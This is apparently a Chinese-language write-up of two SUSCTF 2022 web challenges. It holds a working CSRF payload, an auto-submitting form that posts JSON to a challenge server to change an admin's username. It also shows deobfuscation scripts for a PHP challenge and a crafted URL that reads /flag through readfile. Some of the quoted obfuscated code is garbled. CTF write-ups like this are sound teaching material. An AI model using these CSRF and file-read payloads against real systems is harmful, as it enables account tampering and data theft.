

2022-SUSCTF-Web-Writeup

fxxkcors

本来以为是SSRF实际上是CSRF。。。

<http://159.138.56.26:3000/fxxkcors> 会访问一个URL:

```
const opt = {
  name: "fxxkcors",
  router: "fxxkcors",
  site: process.env.FXXK_SITE ?? "",
}

const delay = (ms) => new Promise((resolve) =>
  setTimeout(resolve, ms))

const visit = async (browser, url) =>{
  let site = process.env.FXXK_SITE ?? ""
  console.log(`[+]${opt.name}: ${url}`)
  let renderOpt = {...opt}
  try {
    const loginpage = await browser.newPage()
    await loginpage.goto(site)
    await loginpage.type("input[name=username]",
"admin")
    await loginpage.type("input[name=password]",
process.env.FXXK_ADMIN_PASS ?? "")
    await Promise.all([
      loginpage.click('button[name=submit]'),
      loginpage.waitForNavigation({waitUntil:
'networkidle0', timeout: 2000})
    ])
    await loginpage.goto("about:blank")
    await loginpage.close()
  }
```

```

        const page = await browser.newPage()
        await page.goto(url, {waitUntil: 'networkidle0',
timeout: 2000})

        await delay(2000) /// waiting 2 second.
        console.log(await page.evaluate(() =>
document.documentElement.outerHTML))

    }catch (e) {
        console.log(e)
        renderOpt.message = "error occurred"
        return renderOpt
    }
    renderOpt.message = "admin will view your report soon"
    return renderOpt
}

module.exports = {
    opt:opt,
    visit:visit
}

```

CSRF打 `changeapi.php` 就行:

```

<html>
  <body>
    <form id="form" method="post"
action="http://124.71.205.122:10002/changeapi.php"
enctype="text/plain">
      <input style='display:none' name='{"foo":"" value="",
"username":"feng1"}'>
      <input type="submit" value="Click me">
    </form>
    <script>
      window.onload = () => {form.submit()}
    </script>
  </body>
</html>

```

hello,feng1

flag is : SUSCTF{fxxK_4h3_c0Rs_oUt}

* rubbish maker

直接下载下来似乎会出现符号的问题（似乎是这样，总之为了稳定的做题我现在linux服务器上把code下载下来，然后把code全部给urlencode一次，然后再windows上解码写下来）：

++zwchpheW%28%27%0D%262%0E%29%28%17%0B%27%29%28%24_GET%5B%24
QCgLjrfl%5D%29%3B%0A%7D%0Agoto+gxgDCdEm%3B";
file_put_contents("test03.php",urldecode($a));
file_put_contents("test02.php",urldecode($b));
```

然后模拟运行，将那个函数的结果直接替换掉，如果是闭包的话就自己手动替换了，基本都是些相加相见等于不等于之类的：

```
<?php
include "test03.php";
$content = file_get_contents("test02.php");
preg_match_all("/zwchpheW\('.*?'\)\/s",$content,$matches);
//var_dump($matches);
foreach ($matches[0] as $value){
    $param = str_replace("zwchpheW('","",$value);
    //$param = str_replace("\x0d\x0a","\x0d",$param);
    $param = str_replace("'", "", $param);
    $param = str_replace("\'", "'", $param);
    //var_dump($param);
    $res = zwchpheW($param);
    var_dump($res);
    if (is_string($res)){
        var_dump($res);
        $content = str_replace($value,$res,$content);
    }
    //var_dump($value);
}
file_put_contents("test02.php",$content);
```

然后就可以开始手工审计了，一步一步的跟，最后审计出来的结果是这样。

先是get传3个参数v1,v2,v3，然后会要求这三个参数相加起来等于多少多少的时候，就可以给参数x1赋值，比如：

```
$kaXeAUet=$_GET['ZlzF']
$BpbKKhif = $_GET['giVC'];
$ZpSPisLF = $_GET['QHDZ'];

+ + + 794:
$bbkeygZp = $_GET[$kaXeAUet];
```

然后还会有1个if，要求这三个参数加起来等于另外1个值，才可以控制参数x2，否则参数x2的值就是这三个v1,v2,v3加起来的值。

然后goto 到1个switch：

```
switch ($_GET[$bbkeygZp]) {
    case zwchpheW('(• $!(•"')(zwchpheW('•••••:••')(0, 4),
1):
        $bbkeygZp = gzinflate(00IL•);
        break;
    case zwchpheW('>•••$2-,')($GQGQujrU, 2):
        $oSlsycCs = $_GET[$BpbKKhif];
        break;
    case zwchpheW('(• $!(•"')(zwchpheW('•••••:~••')(0, 3),
3):
        eval($oSlsycCs);
        break;
    case zwchpheW('>•••$2-,')($ZJgvhsQL, 4):
        $QCgLjrfl = base64_decode(join(, array(S, W, 1, n,
b, 3, Z, E, e, F, c, =)));
        break;
    default:
        break;
}
```

eval是不可控的，我们控制这个 \$QCgLjrfl 即可，最后不断的跟进，是 readfile：

```
if (zwchpheW('3!&1•#••')(zwchpheW('3!&1•#••')
(zwchpheW('3!&1•#••')($_GET[$QCgLjrfl], zwchpheW('•%••**••')
($oSlsycCs, $bbkeygZp)), zwchpheW('•+••=<5.')(kaXeAUet,
zwchpheW('(• $!(•"')(zwchpheW('••••~••')(250, 2), 0))),
!strpos($_GET[$QCgLjrfl], zwchpheW('73
(( 2.')(parse_str(IBRY=L2ZsYWc=, $tOpgNMVe), $tOpgNMVe) ?
base64_decode($tOpgNMVe[IBRY]) : $tOpgNMVe))) {
    readfile($_GET[$QCgLjrfl]);
}
```

理清之后构造就行：

```
http://123.60.67.19/code/65f5e916c0560f9b79d9ef332e7798ed/?ZlzF=1001&giVC=-207&QHDZ=0&1001=794&794=4&ImgovDxW=/flag
```
